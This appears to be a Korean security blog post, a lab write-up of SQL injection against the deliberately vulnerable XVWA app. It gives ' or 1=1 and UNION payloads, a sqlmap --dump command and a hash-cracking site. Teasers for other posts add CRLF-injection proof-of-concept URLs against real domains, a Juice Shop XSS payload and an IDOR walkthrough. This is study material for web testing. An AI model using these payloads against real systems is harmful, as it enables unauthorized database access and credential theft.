기본 콘텐츠로 건너뛰기

XVWA SQLInjection


XVWA SQLinjection

[그림 1]

Summary
[그림1] SQL Injection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다.

Description
[그림 1] 에서 Search 입력 폼에 ' or 1=1 -- 입력 시 특수문자에 대한 필터링이 존재하지 않아 SQLInjection 에 취약한 결과가 나오는것을 확인이 가능합니다.


UNION SQLInjection
1' AND 1=0 UNION ALL SELECT 1,@@version,database(),@@datadir,5,6,7#

Steps to reproduce
1. 임의의 문자열을 입력 후 Submit 을 누르는 동시에 패킷을 캡쳐합니다.
패킷을 캡처한 이유는 GET 통신이 아닌 POST 방식을 통해 데이터가 현재 전달되고있으므로 패킷을 통해 Body 데이터 정보의 매개변수를 확인하기 위해서입니다.
2. 캡쳐한 패킷은 다음과 같습니다.

3. sqlmap -u "http://192.168.56.109/xvwa/vulnerabilities/sqli_blind/" --data "item=&search=1234
" -p search --dump

4. password 로 크랙되어있는 문자열들은 다음 사이트를 통해 크랙이 가능합니다.
https://www.onlinehashcrack.com/hash-identification.php 
Impact
공격자는 SQL Injection 을 통해 데이터베이스 계정정보를 획득할수있습니다.

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Response: Location: h

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

Juice Shop Broken Access Control [ Basket Access Tier 1 ]

Juice Shop Broken Access Control [ Basket Access Tier 1 ] 이 취약점은 내 장바구니가 아닌 타인의 장바구니를 아무 인증결합 없이 무단으로 조회가 가능한지에 대한 취약점 진단입니다. 장바구니 버툰을 누르는 동시에 패킷을 잡고 클라이언트측 관점에서 다음과 같이 Reqeust 값을 분석합니다. 위와 같이  GET /rest/basket/53   으로 53번이라는 값을 가지고 있습니다. 이는 현재 내 장바구니의 고유 번호인걸로 추측이됩니다. 만약 이 숫자를 내 장바구니의 고유번호인 53이 아닌 , 2 , 3, 13 , 51 이런식으로 다른사람의 장바구니값을 넣게 되면 다른 사람의 장바구니를 무단으로 조회가 가능합니다. 위와같이  GET /rest/basket/53  ->  GET /rest/basket/1   으로 변경 후 , 마찬가지로 GET /rest/basket/3  , GET /rest/basket/7  등을 입력하여 무단으로 다른사람의 장바구니를 조회할수있는지 취약점을 진단합니다. 그 후 , 내 장바구니를 클릭하여 확인 시 , 아래와 같이 내 장바구니가 아닌 다른 사람의 장바구니를 무단으로 접근이 가능하여 접근관련 인증 처리 , 인증결합 취약점에 취약합니다.